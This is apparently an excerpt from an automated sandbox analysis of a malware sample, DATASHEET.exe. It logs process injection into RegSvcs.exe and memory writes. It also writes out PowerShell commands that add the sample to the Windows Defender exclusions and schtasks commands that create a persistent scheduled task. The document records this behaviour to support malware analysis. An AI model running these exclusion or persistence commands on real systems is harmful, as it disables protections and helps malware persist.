Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99293	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99172	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98844	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 100000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99891
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99672
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99413
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99076
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98811
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98703
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97746
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97625
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97515
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97297
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97187
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97078
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96475
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96323
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96203
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95922
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95575
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95343
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 93996

Source: RegSvcs.exe, 0000000D.00000002.4167661155.000000000660C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll\
Source: RegSvcs.exe, 00000008.00000002.1811403334.00000000063F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\DATASHEET.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\DATASHEET.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\DATASHEET.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\DATASHEET.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DATASHEET.exe"
Source: C:\Users\user\Desktop\DATASHEET.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe"
Source: C:\Users\user\Desktop\DATASHEET.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DATASHEET.exe"	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe"	Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\DATASHEET.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\DATASHEET.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\DATASHEET.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 440000	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: EB8008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 43E000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 440000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 1087008	Jump to behavior

Source: C:\Users\user\Desktop\DATASHEET.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DATASHEET.exe"	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe"	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jwvzGqkYNEejno" /XML "C:\Users\user\AppData\Local\Temp\tmp8AFA.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jwvzGqkYNEejno" /XML "C:\Users\user\AppData\Local\Temp\tmp9C6E.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior

Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Users\user\Desktop\DATASHEET.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
